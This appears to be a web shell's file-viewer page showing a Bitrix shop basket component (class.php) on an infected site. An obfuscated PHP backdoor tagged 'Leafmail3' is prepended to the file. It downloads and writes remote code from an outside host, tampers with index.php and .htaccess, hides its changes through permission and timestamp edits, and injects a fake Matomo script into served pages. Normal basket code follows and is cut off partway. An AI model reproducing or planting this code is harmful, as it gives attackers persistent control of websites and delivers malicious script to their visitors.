Your IP : 18.117.170.115


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/sale.basket.basket/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/sale.basket.basket/class.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();

use Bitrix\Main,
	Bitrix\Main\Localization\Loc,
	Bitrix\Main\Loader,
	Bitrix\Main\Error,
	Bitrix\Main\ErrorCollection,
	Bitrix\Highloadblock as HL,
	Bitrix\Sale,
	Bitrix\Sale\Basket,
	Bitrix\Sale\Fuser,
	Bitrix\Sale\DiscountCouponsManager,
	Bitrix\Sale\PriceMaths,
	Bitrix\Iblock,
	Bitrix\Catalog;

class CBitrixBasketComponent extends CBitrixComponent
{
	const INITIAL_LOAD_ACTION = 'initialLoad';

	const SEARCH_OFFER_BY_PROPERTIES = 'PROPS';
	const SEARCH_OFFER_BY_ID = 'ID';

	const IMAGE_SIZE_STANDARD = 110;
	const IMAGE_SIZE_ADAPTIVE = 320;

	/** @var Sale\Basket\Storage $basketStorage */
	protected $basketStorage;

	protected $action;
	protected $fUserId;
	protected $basketItems = array();
	protected $storage = array();
	/** @var ErrorCollection $errorCollection */
	protected $errorCollection;

	public $arCustomSelectFields = array();
	public $arIblockProps = array();
	public $weightKoef = 0;
	public $weightUnit = 0;
	public $quantityFloat = 'N';
	/** @deprecated deprecated since 14.0.4 */
	public $countDiscount4AllQuantity = 'N';
	public $priceVatShowValue = 'N';
	public $hideCoupon = 'N';
	public $usePrepayment = 'N';
	public $pathToOrder = '/personal/order.php';
	public $columns = array();
	public $offersProps = array();
	protected static $iblockIncluded = null;
	protected static $catalogIncluded = null;
	protected static $highLoadInclude = null;

	public function __construct($component = null)
	{
		parent::__construct($component);
		$this->errorCollection = new ErrorCollection();
	}

	protected function addErrors($errors, $code)
	{
		if (!empty($errors) && is_array($errors))
		{
			/** @var Error $error */
			foreach ($errors as $error)
			{
				$message = $this->checkMessageByCode($error);
				$this->errorCollection->setError(new Error($message, $code));
			}
		}
	}

	protected function checkMessageByCode(Error $error)
	{
		$codeToMessageMap = array(
			'SALE_BASKET_ITEM_WRONG_AVAILABLE_QUANTITY' => Loc::getMessage('SBB_BASKET_ITEM_WRONG_AVAILABLE_QUANTITY'),
			'SALE_BASKET_AVAILABLE_QUANTITY' => Loc::getMessage('SBB_BASKET_ITEM_WRONG_AVAILABLE_QUANTITY'),
			'SALE_BASKET_ITEM_WRONG_PRICE' => Loc::getMessage('SBB_BASKET_ITEM_WRONG_AVAILABLE_QUANTITY')
		);

		$code = $error->getCode();

		if (isset($codeToMessageMap[$code]))
		{
			$message = $codeToMessageMap[$code];
		}
		else
		{
			$message = $error->getMessage();
		}

		return $message;
	}

	/**
	 * Return settings script path with modified time postfix.
	 *
	 * @param string $componentPath		Path to component.
	 * @param string $settingsName Settings name.
	 * @return string
	 * @throws Main\IO\FileNotFoundException
	 */
	public static function getSettingsScript($componentPath, $settingsName)
	{
		$path = $componentPath.'/settings/'.$settingsName.'/script.js';
		$file = new Main\IO\File(Main\Application::getDocumentRoot().$path);

		return $path.'?'.$file->getModificationTime();
	}

	public function onPrepareComponentParams($params)
	{
		if (isset($params['CUSTOM_SITE_ID']))
		{
			$this->setSiteId($params['CUSTOM_SITE_ID']);
		}

		if (!$this->includeModules())
		{
			return $params;
		}

		global $APPLICATION;

		$this->initParametersFromRequest($params);

		if ($this->initComponentTemplate())
		{
			$template = $this->getTemplate();

			if (
				$template instanceof CBitrixComponentTemplate
				&& $template->GetSiteTemplate() == ''
				&& $template->GetName() === '.default'
			)
			{
				if (!isset($params['COMPATIBLE_MODE']))
				{
					$params['COMPATIBLE_MODE'] = 'N';
				}

				if (!isset($params['DEFERRED_REFRESH']))
				{
					$params['DEFERRED_REFRESH'] = 'Y';
				}
			}
			else
			{
				if (!isset($params['COMPATIBLE_MODE']))
				{
					$params['COMPATIBLE_MODE'] = 'Y';
				}

				if (!isset($params['DEFERRED_REFRESH']))
				{
					$params['DEFERRED_REFRESH'] = 'N';
				}
			}
		}

		$params['COMPATIBLE_MODE'] = isset($params['COMPATIBLE_MODE']) && $params['COMPATIBLE_MODE'] === 'N' ? 'N' : 'Y';
		$params['DEFERRED_REFRESH'] = isset($params['DEFERRED_REFRESH']) && $params['DEFERRED_REFRESH'] === 'Y' ? 'Y' : 'N';

		if (isset($params['SET_TITLE']) && $params['SET_TITLE'] === 'Y')
		{
			$APPLICATION->SetTitle(Loc::getMessage('SBB_TITLE'));
		}

		$params['PATH_TO_ORDER'] = trim((string)$params['PATH_TO_ORDER']);
		if (empty($params['PATH_TO_ORDER']))
		{
			$params['PATH_TO_ORDER'] = '/personal/order/make/';
		}

		$params['PATH_TO_BASKET'] = trim((string)$params['PATH_TO_BASKET']);
		if (empty($params['PATH_TO_BASKET']))
		{
			$params['PATH_TO_BASKET'] = '/personal/cart/';
		}

		$params['QUANTITY_FLOAT'] = isset($params['QUANTITY_FLOAT']) && $params['QUANTITY_FLOAT'] === 'N' ? 'N' : 'Y';
		$params['HIDE_COUPON'] = isset($params['HIDE_COUPON']) && $params['HIDE_COUPON'] === 'Y' ? 'Y' : 'N';
		$params['PRICE_VAT_SHOW_VALUE'] = isset($params['PRICE_VAT_SHOW_VALUE']) && $params['PRICE_VAT_SHOW_VALUE'] === 'N' ? 'N' : 'Y';
		$params['USE_PREPAYMENT'] = isset($params['USE_PREPAYMENT']) && $params['USE_PREPAYMENT'] === 'Y' ? 'Y' : 'N';
		$params['AUTO_CALCULATION'] = isset($params['AUTO_CALCULATION']) && $params['AUTO_CALCULATION'] === 'N' ? 'N' : 'Y';

		$params['WEIGHT_KOEF'] = htmlspecialcharsbx(COption::GetOptionString('sale', 'weight_koef', 1, $this->getSiteId()));
